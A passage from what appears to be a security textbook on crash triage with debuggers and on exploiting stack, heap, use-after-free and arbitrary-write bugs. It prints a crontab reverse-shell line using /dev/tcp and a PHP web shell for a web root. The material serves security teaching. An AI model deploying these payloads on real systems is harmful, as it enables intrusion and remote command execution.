and easy to track down. Sometimes a vulnerability causes corruption of an 
application seconds, if not hours, after the corruption occurs. This section 
describes ways to triage vulnerabilities and increase your chances of finding 
the root cause of a particular crash.

Debugging Applications
Different platforms allow different levels of control over your triaging. For an 
application running on Windows, macOS, or Linux, you can attach a debug-
ger to the process. But on an embedded system, you might only have crash 
reports in the system log to go on. For debugging, I use CDB on Windows, 
GDB on Linux, and LLDB on macOS. All these debuggers are used from 
the command line, and I’ll provide some of the most useful commands for 
debugging your processes.

Starting Debugging

To start debugging, you’ll first need to attach the debugger to the applica-
tion you want to debug. You can either run the application directly under 
the debugger from the command line or attach the debugger to an already-
running process based on its process ID. Table 10-1 shows the various com-
mands you need for running the three debuggers.

Table 10-1: Commands for Running Debuggers on Windows, Linux, and macOS

Debugger New process Attach process

CDB cdb application.exe [arguments] cdb -p PID

GDB gdb --args application [arguments] gdb -p PID

LLDB lldb -- application [arguments] lldb -p -PID
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Because the debugger will suspend execution of the process after 
you’ve created or attached the debugger, you’ll need to run the process 
again. You can issue the commands in Table 10-2 in the debugger’s shell 
to start the process execution or resume execution if attaching. The table 
provides some simple names for such commands, separated by commas 
where applicable.

Table 10-2: Simplified Application Execution Commands

Debugger Start execution Resume execution

CDB g g

GDB run, r continue, c

LLDB process launch, run, r thread continue, c

When a new process creates a child process, it might be the child pro-
cess that crashes rather than the process you’re debugging. This is espe-
cially common on Unix-like platforms, because some network servers will 
fork the current process to handle the new connection by creating a copy 
of the process. In these cases, you need to ensure you can follow the child 
process, not the parent process. You can use the commands in Table 10-3 
to debug the child processes.

Table 10-3: Debugging the Child Processes

Debugger Enable child process debugging Disable child process debugging

CDB .childdbg 1 .childdbg 0

GDB set follow-fork-mode child set follow-fork-mode parent

LLDB process attach --name NAME 
--waitfor

exit debugger

There are some caveats to using these commands. On Windows with 
CDB, you can debug all processes from one debugger. However, with GDB, 
setting the debugger to follow the child will stop the debugging of the parent. 
You can work around this somewhat on Linux by using the set detach-on-fork 
off command. This command suspends debugging of the parent process 
while continuing to debug the child and then reattaches to the parent once 
the child exits. However, if the child runs for a long time, the parent might 
never be able to accept any new connections. 

LLDB does not have an option to follow child processes. Instead, you 
need to start a new instance of LLDB and use the attachment syntax shown 
in Table 10-3 to automatically attach to new processes by the process name. 
You should replace the NAME in the process LLDB command with the process 
name to follow.
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Analyzing the Crash

After debugging, you can run the application while fuzzing and wait for 
the program to crash. You should look for crashes that indicate corrupted 
memory—for example, crashes that occur when trying to read or write to 
invalid addresses, or trying to execute code at an invalid address. When 
you’ve identified an appropriate crash, inspect the state of the application 
to work out the reason for the crash, such as a memory corruption or an 
array-indexing error. 

First, determine the type of crash that has occurred from the print 
out to the command window. For example, CDB on Windows typically 
prints the crash type, which will be something like Access violation, and 
the debugger will try to print the instruction at the current program loca-
tion where the application crashed. For GDB and LLDB on Unix-like sys-
tems, you’ll instead see the signal type: the most common type is SIGSEGV 
for segmentation fault, which indicates that the application tried to access 
an invalid memory location. 

As an example, Listing 10-2 shows what you’d see in CDB if the applica-
tion tried to execute an invalid memory address.

(2228.1b44): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00000000`41414141 ??              ???

Listing 10-2: An example crash in CDB showing invalid memory address

After you’ve determined the type of crash, the next step is to determine 
which instruction caused the application to crash so you’ll know what in the 
process state you need to look up. Notice in Listing 10-2 that the debugger 
tried to print the instruction at which the crash occurred, but the memory 
location was invalid, so it returns a series of question marks. When the crash 
occurs due to reading or writing invalid memory, you’ll get a full instruction 
instead of the question marks. If the debugger shows that you’re executing 
valid instructions, you can disassemble the instructions surrounding the 
crash location using the commands in Table 10-4.

Table 10-4: Instruction Disassembly Commands

Debugger Disassemble from crash location Disassemble a specific location

CDB u u ADDR

GDB disassemble disassemble ADDR

LLDB disassemble –frame disassemble --start-address ADDR

To display the processor’s register state at the point of the crash, you 
can use the commands in Table 10-5.
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Table 10-5: Displaying and Setting the Processor Register State

Debugger Show general 
purpose registers

Show specific 
register

Set specific register

CDB r r @rcx r @rcx = NEWVALUE

GDB info registers info registers rcx set $rcx = NEWVALUE

LLDB register read register read rcx register write rcx NEWVALUE

You can also use these commands to set the value of a register, which 
allows you to keep the application running by fixing the immediate crash 
and restarting execution. For example, if the crash occurred because the 
value of RCX was pointing to invalid reference memory, it’s possible to 
reset RCX to a valid memory location and continue execution. However, 
this might not continue successfully for very long if the application is 
already corrupted.

One important detail to note is how the registers are specified. In CDB, 
you use the syntax @NAME to specify a register in an expression (for example, 
when building up a memory address). For GDB and LLDB, you typically use 
$NAME instead. GDB and LLDB, also have a couple of pseudo registers: $pc, 
which refers to the memory location of the instruction currently execut-
ing (which would map to RIP for x64), and $sp, which refers to the current 
stack pointer.

When the application you’re debugging crashes, you’ll want to display 
how the current function in the application was called, because this pro-
vides important context to determine what part of the application triggered 
the crash. Using this context, you can narrow down which parts of the pro-
tocol you need to focus on to reproduce the crash. 

You can get this context by generating a stack trace, which displays the 
functions that were called prior to the execution of the vulnerable function, 
including, in some cases, local variables and arguments passed to those func-
tions. Table 10-6 lists commands to create a stack trace.

Table 10-6: Creating a Stack Trace

Debugger Display stack trace Display stack trace 
with arguments

CDB K Kb

GDB backtrace backtrace full

LLDB backtrace

You can also inspect memory locations to determine what caused the 
current instruction to crash; use the commands in Table 10-7. 
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Table 10-7: Displaying Memory Values

Debugger Display bytes/words, 
dwords, qwords

Display ten 1-byte values

CDB db, dw, dd, dq ADDR db ADDR L10

GDB x/b, x/h, x/w, x/g ADDR x/10b ADDR

LLDB memory read --size 1,2,4,8 memory read --size 1 --count 10

Each debugger allows you to control how to display the values in mem-
ory, such as the size of the memory read (like 1 byte to 4 bytes) as well as 
the amount of data to print.

Another useful command determines what type of memory an address 
corresponds to, such as heap memory, stack memory, or a mapped execut-
able. Knowing the type of memory helps narrow down the type of vulner-
ability. For example, if a memory value corruption has occurred, you can 
distinguish whether you’re dealing with a stack memory or heap memory 
corruption. You can use the commands in Table 10-8 to determine the 
layout of the process memory and then look up what type of memory an 
address corresponds to.

Table 10-8: Commands for Displaying the Process Memory Map

Debugger Display process memory map

CDB !address

GDB info proc mappings

LLDB No direct equivalent

Of course, there’s a lot more to the debugger that you might need to 
use in your triage, but the commands provided in this section should cover 
the basics of triaging a crash. 

Example Crashes

Now let’s look at some examples of crashes so you’ll know what they look 
like for different types of vulnerabilities. I’ll just show Linux crashes in 
GDB, but the crash information you’ll see on different platforms and 
debuggers should be fairly similar. Listing 10-3 shows an example crash 
from a typical stack buffer overflow.

GNU gdb 7.7.1
(gdb) r
Starting program: /home/user/triage/stack_overflow 

Program received signal SIGSEGV, Segmentation fault.
 0x41414141 in ?? () 

 (gdb) x/i $pc 
=> 0x41414141:  Cannot access memory at address 0x41414141
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 (gdb) x/16xw $sp-16 
0xbffff620:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff630:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff640:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff650:     0x41414141      0x41414141      0x41414141      0x41414141

Listing 10-3: An example crash from a stack buffer overflow

The input data was a series of repeating A characters, shown here as 
the hex value 0x41. At , the program has crashed trying to execute the 
memory address 0x41414141. The fact that the address contains repeated 
copies of our input data is indicative of memory corruption, because the 
memory values should reflect the current execution state (such as pointers 
into the stack or heap)and are very unlikely to be the same value repeated. 
We double-check that the reason it crashed is that there’s no executable 
code at 0x41414141 by requesting GDB to disassemble instructions at the 
location of the program crash . GDB then indicates that it cannot access 
memory at that location. The crash doesn’t necessarily mean a stack over-
flow has occured, so to confirm we dump the current stack location . By 
also moving the stack pointer back 16 bytes at this point, we can see that 
our input data has definitely corrupted the stack.

The problem with this crash is that it’s difficult to determine which 
part is the vulnerable code. We crashed it by calling an invalid location, 
meaning the function that was executing the return instruction is no lon-
ger directly referenced and the stack is corrupted, making it difficult to 
extract calling information. In this case, you could look at the stack mem-
ory below the corruption to search for a return address left on the stack 
by the vulnerable function, which can be used to track down the culprit. 
Listing 10-4 shows a crash resulting from heap buffer overflow, which is 
considerably more involved than the stack memory corruption.

user@debian:~/triage$ gdb ./heap_overflow
GNU gdb 7.7.1

(gdb) r
Starting program: /home/user/triage/heap_overflow

Program received signal SIGSEGV, Segmentation fault.
0x0804862b in main ()

 (gdb) x/i $pc 
=> 0x804862b <main+112>:        mov    (%eax),%eax

 (gdb) info registers $eax 
eax            0x41414141       1094795585

(gdb) x/5i $pc 
=> 0x804862b <main+112>:        mov    (%eax),%eax
   0x804862d <main+114>:        sub    $0xc,%esp
   0x8048630 <main+117>:        pushl  -0x10(%ebp)
  0x8048633 <main+120>:        call   *%eax  
   0x8048635 <main+122>:        add    $0x10,%esp
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(gdb) disassemble
Dump of assembler code for function main:
   ...
  0x08048626 <+107>:   mov    -0x10(%ebp),%eax 
   0x08048629 <+110>:   mov    (%eax),%eax
=> 0x0804862b <+112>:   mov    (%eax),%eax
   0x0804862d <+114>:   sub    $0xc,%esp
   0x08048630 <+117>:   pushl  -0x10(%ebp)
   0x08048633 <+120>:   call   *%eax

(gdb) x/w $ebp-0x10
0xbffff708:     0x0804a030

 (gdb) x/4w 0x0804a030 
0x804a030:      0x41414141      0x41414141      0x41414141      0x41414141

(gdb) info proc mappings
process 4578
Mapped address spaces:

    Start Addr    End Addr       Size  Offset  objfile
     0x8048000   0x8049000     0x1000     0x0  /home/user/triage/heap_overflow
     0x8049000   0x804a000     0x1000     0x0  /home/user/triage/heap_overflow
    0x804a000   0x806b000    0x21000     0x0  [heap] 
    0xb7cce000  0xb7cd0000     0x2000     0x0
    0xb7cd0000  0xb7e77000   0x1a7000     0x0  /lib/libc-2.19.so

Listing 10-4: An example crash from a heap buffer overflow

Again we get a crash, but it’s at a valid instruction that copies a value 
from the memory location pointed to by EAX back into EAX . It’s likely that 
the crash occurred because EAX points to invalid memory. Printing the reg-
ister  shows that the value of EAX is just our overflow character repeated, 
which is a sign of corruption. 

We disassemble a little further and find that the value of EAX is being 
used as a memory address of a function that the instruction at  will call. 
Dereferencing a value from another value indicates that the code being 
executed is a virtual function lookup from a Virtual Function Table (VTable). 
We confirm this by disassembling a few instructions prior to the crashing 
instruction . We see that a value is being read from memory, then that 
value is dereferenced (this would be reading the VTable pointer), and 
finally it is dereferenced again causing the crash. 

Although analysis showing that the crash occurs when dereferencing a 
VTable pointer doesn’t immediately verify the corruption of a heap object, 
it’s a good indicator. To verify a heap corruption, we extract the value from 
memory and check whether it’s corrupted using the 0x41414141 pattern, 
which was our input value during testing . Finally, to check whether the 
memory is in the heap, we use the info proc mappings command to dump 
the process memory map; from that, we can see that the value 0x0804a030, 
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which we extracted for , is within the heap region . Correlating the 
memory address with the mappings indicates that the memory corruption 
is isolated to this heap region.

Finding that the corruption is isolated to the heap doesn’t necessarily 
point to the root cause of the vulnerability, but we can at least find infor-
mation on the stack to determine what functions were called to get to this 
point. Knowing what functions were called would narrow down the range of 
functions you would need to reverse engineer to determine the culprit.

Improving Your Chances of Finding the Root Cause of a Crash
Tracking down the root cause of a crash can be difficult. If the stack mem-
ory is corrupted, you lose the information on which function was being 
called at the time of the crash. For a number of other types of vulnerabili-
ties, such as heap buffer overflows or use-after-free, it’s possible the crash 
will never occur at the location of the vulnerability. It’s also possible that 
the corrupted memory is set to a value that doesn’t cause the application to 
crash at all, leading to a change of application behavior that cannot easily 
be observed through a debugger.

Ideally, you want to improve your chances of identifying the exact point 
in the application that’s vulnerable without exerting a significant amount of 
effort. I’ll present a few ways of improving your chances of narrowing down 
the vulnerable point.

Rebuilding Applications with Address Sanitizer

If you’re testing an application on a Unix-like OS, there’s a reasonable 
chance you have the source code for the application. This alone provides 
you with many advantages, such as full debug information, but it also 
means you can rebuild the application and add improved memory error 
detection to improve your chances of discovering vulnerabilities. 

One of the best tools to add this improved functionality when rebuild-
ing is Address Sanitizer (ASan), an extension for the CLANG C compiler 
that detects memory corruption bugs. If you specify the -fsanitize=address 
option when running the compiler (you can usually specify this option 
using the CFLAGS environment variable), the rebuilt application will have 
additional instrumentation to detect common memory errors, such as 
memory corruption, out-of-bounds writes, use-after-free, and double-free. 

The main advantage of ASan is that it stops the application as soon as 
possible after the vulnerable condition has occurred. If a heap allocation 
overflows, ASan stops the program and prints the details of the vulnerabil-
ity to the shell console. For example, Listing 10-5 shows a part of the output 
from a simple heap overflow.

==3998==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0xb6102bf4 at pc 0x081087ae bp 0xbf9c64d8 sp 0xbf9c64d0
WRITE of size 1 at 0xb6102bf4 thread T0
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    #0 0x81087ad (/home/user/triage/heap_overflow+0x81087ad)
    #1 0xb74cba62 (/lib/i386-linux-gnu/i686/cmov/libc.so.6+0x19a62)
    #2 0x8108430 (/home/user/triage/heap_overflow +0x8108430)

Listing 10-5: Output from ASan for a heap buffer overflow

Notice that the output contains the type of bug encountered  (in 
this case a heap overflow), the memory address of the overflow write , the 
location in the application that caused the overflow , and the size of the 
overflow . By using the provided information with a debugger, as shown in 
the previous section, you should be able to track down the root cause of the 
vulnerability. 

However, notice that the locations inside the application are just mem-
ory addresses. Source code files and line numbers would be more useful. 
To retrieve them in the stack trace, we need to specify some environment 
variables to enable symbolization, as shown in Listing 10-6. The application 
will also need to be built with debugging information, which we can do by 
passing by the compiler flag –g to CLANG.

$ export ASAN_OPTIONS=symbolize=1
$ export ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer-3.5
$ ./heap_overflow
=================================================================
==4035==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb6202bf4 at 
pc 0x081087ae bp 0xbf97a418 sp 0xbf97a410
WRITE of size 1 at 0xb6202bf4 thread T0
    #0 0x81087ad in main /home/user/triage/heap_overflow.c:8:3u
    #1 0xb75a4a62 in __libc_start_main /build/libc-start.c:287
    #2 0x8108430 in _start (/home/user/triage/heap_overflow+0x8108430)

Listing 10-6: Output from ASan for a heap buffer overflow with symbol information

The majority of Listing 10-6 is the same as Listing 10-5. The big dif-
ference is that the crash’s location  now reflects the location inside the 
original source code (in this case, starting at line 8, character 3 inside 
the file heap_overflow.c) instead of a memory location inside the program. 
Narrowing down the location of the crash to a specific line in the program 
makes it much easier to inspect the vulnerable code and determine the rea-
son for the crash. 

Windows Debug and Page Heap

On Windows, access to the source code of the application you’re testing is 
probably more restricted. Therefore, you’ll need to improve your chances 
for existing binaries. Windows comes with the Page Heap, which you can 
enable to improve your chances of tracking down a memory corruption.

You need to manually enable the Page Heap for the process you want to 
debug by running the following command as an administrator:

C:\> gflags.exe -i appname.exe +hpa
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The gflags application comes installed with the CDB debugger. The 
–i parameter allows you to specify the image filename to enable the Page 
Heap on. Replace appname.exe with the name of the application you’re test-
ing. The +hpa parameter is what actually enables the Page Heap when the 
application next executes. 

The Page Heap works by allocating special, OS-defined memory pages 
(called guard pages) after every heap allocation. If an application tries to read 
or write these special guard pages, an error will be raised and the debugger 
will be notified immediately, which is useful for detecting a heap buffer over-
flow. If the overflow writes immediately at the end of the buffer, the guard 
page will be touched by the application and an error will be raised instantly. 
Figure 10-1 shows how this process works in practice.

Allocated block

Allocated object

Guard page

Guard page Guard page

Guard pageAllocated block

Overflow buffer

Overflow direction

Crash

eax=05be3ffa ebx=00939000 ecx=000000ce edx=000000ee esi=05be3f2c edi=05be8000
eip=6a90cf5e esp=00b7f9ec ebp=00b7fa0c iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
VCRUNTIME140!memcpy+0x4e:
6a90cf5e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

Figure 10-1: The Page Heap detecting an overflow

You might assume that using the Page Heap would be a good way of 
stopping heap memory corruptions from occurring, but the Page Heap 
wastes a huge amount of memory because each allocation needs a separate 
guard page. Setting up the guard pages requires calling a system call, which 
reduces allocation performance. On the whole, enabling the Page Heap for 
anything other than debugging sessions would not be a great idea.

Exploiting Common Vulnerabilities
After researching and analyzing a network protocol, you’ve fuzzed it and 
found some vulnerabilities you want to exploit. Chapter 9 describes many 
types of security vulnerabilities but not how to exploit those vulnerabilities, 
which is what I’ll discuss here. I’ll start with how you can exploit memory 
corruptions and then discuss some of the more unusual vulnerability types.

The aims of vulnerability exploitation depend on the purpose of your 
protocol analysis. If the analysis is on a commercial product, you might be 
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looking for a proof of concept that clearly demonstrates the issue so the 
vendor can fix it: in that case, reliability isn’t as important as a clear demon-
stration of what the vulnerability is. On the other hand, if you’re developing 
an exploit for use in a Red Team exercise and are tasked with compromis-
ing some infrastructure, you might need an exploit that is reliable, works on 
many different product versions, and executes the next stage of your attack. 

Working out ahead of time what your exploitation objectives are ensures 
you don’t waste time on irrelevant tasks. Whatever your goals, this section 
provides you with a good overview of the topic and more in-depth references 
for your specific needs. Let’s begin with exploiting memory corruptions.

Exploiting Memory Corruption Vulnerabilities 
Memory corruptions, such as stack and heap overflows, are very common in 
applications written in memory-unsafe languages, such as C/C++. It’s diffi-
cult to write a complex application in such programming languages without 
introducing at least one memory corruption vulnerability. These vulner-
abilities are so common that it’s relatively easy to find information about 
how to exploit them.

An exploit needs to trigger the memory corruption vulnerability in 
such a way that the state of the program changes to execute arbitrary code. 
This might involve hijacking the executing state of the processor and redi-
recting it to some executable code provided in the exploit. It might also 
mean modifying the running state of the application in such a way that pre-
viously inaccessible functionality becomes available. 

The development of the exploit depends on the corruption type and 
what parts of the running application the corruption affects, as well as the 
kind of anti-exploit mitigations the application uses to make exploitation of 
a vulnerability more difficult to succeed. First, I’ll talk about the general prin-
ciples of exploitation, and then I’ll consider more complex scenarios.

Stack Buffer Overflows

Recall that a stack buffer overflow occurs when code underestimates the 
length of a buffer to copy into a location on the stack, causing overflow that 
corrupts other data on the stack. Most serious of all, on many architectures 
the return address for a function is stored on the stack, and corruption of 
this return address gives the user direct control of execution, which you can 
use to execute any code you like. One of the most common techniques to 
exploit a stack buffer overflow is to corrupt the return address on the stack 
to point to a buffer containing shell code with instructions you want to exe-
cute when you achieve control. Successfully corrupting the stack in this way 
results in the application executing code it was not expecting.
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In an ideal stack overflow, you have full control over the contents and 
length of the overflow, ensuring that you have full control over the values 
you overwrite on the stack. Figure 10-2 shows an ideal stack overflow vulner-
ability in operation.
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Figure 10-2: A simple stack overflow exploit

The stack buffer we’ll overflow is below the return address for the func-
tion . When the overflow occurs, the vulnerable code fills up the buffer 
and then overwrites the return address with the value 0x12345678 . The 
vulnerable function completes its work and tries to return to its caller, but 
the calling address has been replaced with an arbitrary value pointing 
to the memory location of some shell code placed there by the exploit . 
The return instruction executes, and the exploit gains control over code 
execution.

Writing an exploit for a stack buffer overflow is simple enough in the 
ideal situation: you just need to craft your data into the overflowed buffer to 
ensure the return address points to a memory region you control. In some 
cases, you can even add the shell code to the end of the overflow and set 
the return address to jump to the stack. Of course, to jump into the stack, 
you’ll need to find the memory address of the stack, which might be possible 
because the stack won’t move very frequently.

However, the properties of the vulnerability you discovered can create 
issues. For example, if the vulnerability is caused by a C-style string copy, 
you won’t be able to use multiple 0 bytes in the overflow because C uses a 
0 byte as the terminating character for the string: the overflow will stop 
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immediately once a 0 byte is encountered in the input data. An alternative 
is to direct the shell code to an address value with no 0 bytes, for example, 
shell code that forces the application to do allocation requests.

Heap Buffer Overflows

Exploiting heap buffer overflows can be more involved than exploiting an 
overflow on the stack because heap buffers are often in a less predictable 
memory address. This means there is no guarantee you’ll find something 
as easily corruptible as the function return address in a known location. 
Therefore, exploiting a heap overflow requires different techniques, such 
as control of heap allocations and accurate placement of useful, corruptible 
objects.

The most common technique for gaining control of code execution for 
a heap overflow is to exploit the structure of C++ objects, specifically their 
use of VTables. A VTable is a list of pointers to functions that the object 
implements. The use of virtual functions allows a developer to make new 
classes derived from existing base classes and override some of the func-
tionality, as illustrated in Figure 10-3.

Object* p = new Object;�

p->Func1();

mov ecx, [p]
mov eax, [ecx + offset Func1]
call eax

�

Object data

VTable address

Object on the heap

VTable in application

Virtual Function 1

Virtual Function 2

Virtual Function 3

Virtual Function 4

Figure 10-3: VTable implementation

To support virtual functions, each allocated instance of a class must 
contain a pointer to the memory location of the function table . When 
a virtual function is called on an object, the compiler generates code that 
looks up the address of the virtual function table, then looks up the virtual 
function inside the table, and finally calls that address . Typically, we can’t 
corrupt the pointers in the table because it’s likely the table is stored in a 
read-only part of memory. But we can corrupt the pointer to the VTable 
and use that to gain code execution, as shown in Figure 10-4.
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Figure 10-4: Gaining code execution through VTable address corruption

Use-After-Free Vulnerability

A use-after-free vulnerability is not so much a corruption of memory but 
a corruption of the state of the program. The vulnerability occurs when a 
memory block is freed but a pointer to that block is still stored by some part 
of the application. Later in the application’s execution, the pointer to the 
freed block is reused, possibly because the application code assumes the 
pointer is still valid. Between the time that the memory block is freed and 
the block pointer is reused, there’s opportunity to replace the contents of the 
memory block with arbitrary values and use that to gain code execution. 

When a memory block is freed, it will typically be given back to the 
heap to be reused for another memory allocation; therefore, as long as you 
can issue an allocation request of the same size as the original allocation, 
there’s a strong possibility that the freed memory block would be reused 
with your crafted contents. We can exploit use-after-free vulnerabilities 
using a technique similar to abusing VTables in heap overflows, as illus-
trated in Figure 10-5.

The application first allocates an object p on the heap , which con-
tains a VTable pointer we want to gain control of. Next, the application 
calls delete on the pointer to free the associated memory . However, the 
application doesn’t reset the value of p, so this object is free to be reused in 
the future. 
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Figure 10-5: An example of a use-after-free vulnerability

Although it’s shown in the figure as being free memory, the original 
values from the first allocation may not actually have been removed. This 
makes it difficult to track down the root cause of a use-after-free vulnerabil-
ity. The reason is that the program might continue to work fine even if the 
memory is no longer allocated, because the contents haven’t changed. 

Finally, the exploit allocates memory that is an appropriate size and has 
control over the contents of memory that p points to, which the heap alloca-
tor reuses as the allocation for p . If the application reuses p to call a vir-
tual function, we can control the lookup and gain direct code execution. 

Manipulating the Heap Layout

Most of the time, the key to successfully exploiting a heap-based vulner-
ability is in forcing a suitable allocation to occur at a reliable location, so 
it’s important to manipulate the layout of the heap. Because there is such a 
large number of different heap implementations on various platforms, I’m 
only able to provide general rules for heap manipulation.

The heap implementation for an application may be based on the vir-
tual memory management features of the platform the application is exe-
cuting on. For example, Windows has the API function VirtualAlloc, which 
allocates a block of virtual memory for the current process. However, using 
the OS virtual memory allocator introduces a couple of problems:

Poor performance  Each allocation and free-up requires the OS to 
switch to kernel mode and back again.

Wasted memory  At a minimum, virtual memory allocations are done 
at page level, which is usually at least 4096 bytes. If you allocate memory 
smaller than the page size, the rest of the page is wasted.

Due to these problems, most heap implementations call on the OS ser-
vices only when absolutely necessary. Instead, they allocate a large memory 
region in one go and then implement user-level code to apportion that 
larger allocation into small blocks to service allocation requests.
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Efficiently dealing with memory freeing is a further challenge. A 
naive implementation might just allocate a large memory region and then 
increment a pointer in that region for every allocation, returning the next 
available memory location when requested. This will work, but it’s virtually 
impossible to then free that memory: the larger allocation could only be 
freed once all suballocations had been freed. This might never happen in 
a long-running application. 

An alternative to the simplistic sequential allocation is to use a free-list. A 
free-list maintains a list of freed allocations inside a larger allocation. When 
a new heap is created, the OS creates a large allocation in which the free-list 
would consist of a single freed block the size of the allocated memory. When 
an allocation request is made, the heap’s implementation scans the list of free 
blocks looking for a free block of sufficient size to contain the allocation. The 
implementation would then use that free block, allocate the request block at 
the start, and update the free-list to reflect the new free size.

When a block is freed, the implementation can add that block to the 
free-list. It could also check whether the memory before and after the 
newly freed block is also free and attempt to coalesce those free blocks 
to deal with memory fragmentation, which occurs when many small allo-
cated blocks are freed, returning the blocks to available memory for reuse. 
However, free-list entries only record their individual sizes, so if an allocation 
larger than any of the free-list entries is requested, the implementation might 
need to further expand the OS allocated region to satisfy the request. An 
example of a free-list is shown in Figure 10-6.
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Figure 10-6: An example of a simple free-list implementation

Using this heap implementation, you should be able to see how you 
would obtain a heap layout appropriate to exploiting a heap-based vulner-
ability. Say, for example, you know that the heap block you’ll overflow is 
128 bytes; you can find a C++ object with a VTable pointer that’s at least 
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the same size as the overflowable buffer. If you force the application to 
allocate a large number of these objects, they’ll end up being allocated 
sequentially in the heap. You can selectively free one of these objects (it 
doesn’t matter which one), and there’s a good chance that when you allo-
cate the vulnerable buffer, it will reuse the freed block. Then you can exe-
cute your heap buffer overflow and corrupt the allocated object’s VTable 
to get code execution, as illustrated in Figure 10-7.
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Allocated object Allocated object Allocated object Allocated object

Free memory regionAllocated object Allocated object Allocated object

Allocated object Allocated object Allocated object

Overflow direction

Free single object

Allocate buffer

Figure 10-7: Allocating memory buffers to ensure correct layout

When manipulating heaps, the biggest challenge in a network attack 
is the limited control over memory allocations. If you’re exploiting a web 
browser, you can use JavaScript to trivially set up the heap layout, but for 
a network application, it’s more difficult. A good place to look for object 
allocations is in the creation of a connection. If each connection is backed 
by a C++ object, you can control allocation by just opening and closing con-
nections. If that method isn’t suitable, you’ll almost certainly have to exploit 
the commands in the network protocol for appropriate allocations.

Defined Memory Pool Allocations

As an alternative to using an arbitrary free-list, you might use defined mem-
ory pools for different allocation sizes to group smaller allocations appropri-
ately. For example, you might specify pools for allocations of 16, 64, 256, and 
1024 bytes. When the request is made, the implementation will allocate the 
buffer based on the pool that most closely matches the size requested and is 
large enough to fit the allocation. For example, if you wanted a 50-byte alloca-
tion, it would go into the 64-byte pool, whereas a 512-byte allocation would go 
into the 1024-byte pool. Anything larger than 1024 bytes would be allocated 
using an alternative approach for large allocations. The use of sized memory 
pools reduces fragmentation caused by small allocations. As long as there’s a 
free entry for the requested memory in the sized pool, it will be satisfied, and 
larger allocations will not be blocked as much.
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Heap Memory Storage

The final topic to discuss in relation to heap implementations is how infor-
mation like the free-list is stored in memory. There are two methods. In one 
method, metadata, such as block size and whether the state is free or allo-
cated, is stored alongside the allocated memory, which is known as in-band. 
In the other, known as out-of-band, metadata is stored elsewhere in memory. 
The out-of-band method is in many ways easier to exploit because you don’t 
have to worry about restoring important metadata when corrupting con-
tiguous memory blocks, and it’s especially useful when you don’t know what 
values to restore for the metadata to be valid. 

Arbitrary Memory Write Vulnerability
Memory corruption vulnerabilities are often the easiest vulnerabilities 
to find through fuzzing, but they’re not the only kind, as mentioned in 
Chapter 9. The most interesting is an arbitrary file write resulting from 
incorrect resource handling. This incorrect handling of resources might 
be due to a command that allows you to directly specify the location of a 
file write or due to a command that has a path canonicalization vulner-
ability, allowing you to specify the location relative to the current directory. 
However the vulnerability manifests, it’s useful to know what you would 
need to write to the filesystem to get code execution.

The arbitrary writing of memory, although it might be a direct conse-
quence of a mistake in the application’s implementation, could also occur 
as a by-product of another vulnerability, such as a heap buffer overflow. 
Many old heap memory allocators would use a linked list structure to store 
the list of free blocks; if this linked list data were corrupted, any modifi-
cation of the free-list could result in an arbitrary write of a value into an 
attacker-supplied location.

To exploit an arbitrary memory write vulnerability, you need to 
modify a location that can directly control execution. For example, you 
could target the VTable pointer of an object in memory and overwrite it 
to gain control over execution, as in the methods for other corruption 
vulnerabilities. 

One advantage of an arbitrary write is that it can lead to subverting 
the logic of an application. As an example, consider the networked appli-
cation shown in Listing 10-7. Its logic creates a memory structure to store 
important information about a connection, such as the network socket 
used and whether the user was authenticated as an administrator, when 
the connection is created.

struct Session {
    int socket;
    int is_admin;
};

Session* session = WaitForConnection();

Listing 10-7: A simple connection session structure
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For this example, we’ll assume that some code checks, whether or 
not the session is an administrator session, will allow only certain tasks to 
be done, such as changing the system’s configuration. There is a direct 
command to execute a local shell command if you’re authenticated as an 
administrator in the session, as shown in Listing 10-8.

Command c = ReadCommand(session->socket);
if (c.command == CMD_RUN_COMMAND
    && session->is_admin) {
  system(c->data);
}

Listing 10-8: Opening the run command as an administrator

By discovering the location of the session object in memory, you can 
change the is_admin value from 0 to 1, opening the run command for the 
attacker to gain control over the target system. We could also change the 
socket value to point to another file, causing the application to write data 
to an arbitrary file when writing a response, because in most Unix-like plat-
forms, file descriptors and sockets are effectively the same type of resource. 
You can use the write system call to write to a file, just as you can to write to 
the socket.

Although this is a contrived example, it should help you understand what 
happens in real-world networked applications. For any application that uses 
some sort of authentication to separate user and administrator responsibili-
ties, you could typically subvert the security system in this way. 

Exploiting High-Privileged File Writes

If an application is running with elevated privileges, such as root or admin-
istrator privileges, your options for exploiting an arbitrary file write are 
expansive. One technique is to overwrite executables or libraries that you 
know will get executed, such as the executable running the network service 
you’re exploiting. Many platforms provide other means of executing code, 
such as scheduled tasks, or cron jobs on Linux.

If you have high privileges, you can write your own cron jobs to a direc-
tory and execute them. On modern Linux systems, there’s usually a num-
ber of cron directories already inside /etc that you can write to, each with 
a suffix that indicates when the jobs will be executed. However, writing to 
these directories requires you to give the script file executable permissions. 
If your arbitrary file write only provides read and write permissions, you’ll 
need to write to /etc/cron.d with a Crontab file to execute arbitrary system 
commands. Listing 10-9 shows an example of a simple Crontab file that will 
run once a minute and connect a shell process to an arbitrary host and TCP 
port where you can access system commands. 

* * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'

Listing 10-9: A simple reverse shell Crontab file
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This Crontab file must be written to /etc/cron.d/run_shell. Note that some 
versions of bash don’t support this reverse shell syntax, so you would have to 
use something else, such as a Python script, to achieve the same result. Now 
let’s look at how to exploit write vulnerabilities with low-privileged file writes.

Exploiting Low-Privileged File Writes

If you don’t have high privileges when a write occurs, all is not lost; however, 
your options are more limited, and you’ll still need to understand what is 
available on the system to exploit. For example, if you’re trying to exploit a 
web application or there’s a web server install on the machine, it might be 
possible to drop a server-side rendered web page, which you can then access 
through a web server. Many web servers will also have PHP installed, which 
allows you to execute commands as the web server user and return the result 
of that command by writing the file shown in Listing 10-10 to the web root 
(it might be in /var/www/html or one of many other locations) with a .php 
extension. 

<?php
if (isset($_REQUEST['exec'])) {
  $exec = $_REQUEST['exec'];
  $result = system($exec);
  echo $result;
}
?>

